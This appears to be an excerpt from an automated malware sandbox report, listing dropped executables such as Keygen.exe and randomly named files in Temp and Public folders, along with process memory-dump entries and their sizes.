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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Public\lzu.exe

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C:\Users\Public\osx.exe

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C:\Users\Public\osx.exe

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C:\Users\Public\yek.exe

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C:\Users\Public\yek.exe

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C:\Users\Public\yek.exe

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\Users\Admin\AppData\Local\Temp\C41A.tmp\Keygen.exe

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\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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\Users\Public\lzu.exe

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\Users\Public\lzu.exe

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\Users\Public\osx.exe

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\Users\Public\yek.exe

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\Users\Public\yek.exe

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memory/896-34-0x0000000070F20000-0x000000007160E000-memory.dmp

Filesize
6.9MB

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memory/896-24-0x0000000000000000-mapping.dmp

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memory/1064-13-0x0000000000000000-mapping.dmp

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memory/1172-41-0x0000000004B50000-0x0000000004B51000-memory.dmp

Filesize
4KB

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memory/1172-35-0x00000000008D0000-0x00000000008D1000-memory.dmp

Filesize
4KB

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memory/1172-34-0x0000000070F20000-0x000000007160E000-memory.dmp

Filesize
6.9MB

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memory/1172-28-0x0000000000000000-mapping.dmp

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memory/1200-15-0x0000000000000000-mapping.dmp

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memory/1292-6-0x0000000000000000-mapping.dmp

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memory/1292-4-0x0000000000000000-mapping.dmp

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memory/1396-0-0x0000000000000000-mapping.dmp

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memory/1576-16-0x0000000000000000-mapping.dmp

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memory/1668-26-0x0000000000000000-mapping.dmp

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memory/1768-11-0x0000000000000000-mapping.dmp

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memory/1852-8-0x0000000000000000-mapping.dmp

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memory/1872-10-0x0000000000000000-mapping.dmp

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memory/1912-61-0x0000000006150000-0x0000000006151000-memory.dmp

Filesize
4KB

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memory/1912-33-0x0000000070F20000-0x000000007160E000-memory.dmp

Filesize
6.9MB

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memory/1912-79-0x0000000006400000-0x0000000006401000-memory.dmp

Filesize
4KB

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memory/1912-74-0x00000000063D0000-0x00000000063D1000-memory.dmp

Filesize
4KB

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memory/1912-18-0x0000000000000000-mapping.dmp

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memory/1912-67-0x0000000006320000-0x0000000006321000-memory.dmp

Filesize
4KB

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memory/1912-66-0x00000000061C0000-0x00000000061C1000-memory.dmp

Filesize
4KB

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memory/1940-17-0x0000000000000000-mapping.dmp

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memory/1940-32-0x0000000070F20000-0x000000007160E000-memory.dmp

Filesize
6.9MB

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memory/1952-23-0x0000000000000000-mapping.dmp

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memory/1988-31-0x0000000070F20000-0x000000007160E000-memory.dmp

Filesize
6.9MB

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memory/1988-20-0x0000000000000000-mapping.dmp

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memory/1988-107-0x00000000062D0000-0x00000000062D1000-memory.dmp

Filesize
4KB

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memory/2000-53-0x00000000049D0000-0x00000000049D1000-memory.dmp

Filesize
4KB

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memory/2000-19-0x0000000000000000-mapping.dmp

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memory/2000-47-0x0000000002550000-0x0000000002551000-memory.dmp

Filesize
4KB

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memory/2000-30-0x0000000070F20000-0x000000007160E000-memory.dmp

Filesize
6.9MB

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memory/2368-104-0x0000000000D00000-0x0000000000D01000-memory.dmp

Filesize
4KB

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memory/2368-100-0x0000000000000000-mapping.dmp

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memory/2368-103-0x0000000070F20000-0x000000007160E000-memory.dmp

Filesize
6.9MB

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memory/2412-106-0x000007FEF83B0000-0x000007FEF862A000-memory.dmp

Filesize
2.5MB

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memory/2480-110-0x0000000000000000-mapping.dmp

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memory/2524-116-0x0000000000000000-mapping.dmp

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memory/2592-125-0x0000000000000000-mapping.dmp

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memory/2632-129-0x0000000000000000-mapping.dmp

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memory/2660-134-0x0000000000000000-mapping.dmp

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memory/2684-138-0x0000000000000000-mapping.dmp

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memory/2720-143-0x000000000043FCC3-mapping.dmp

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memory/2720-142-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/2720-145-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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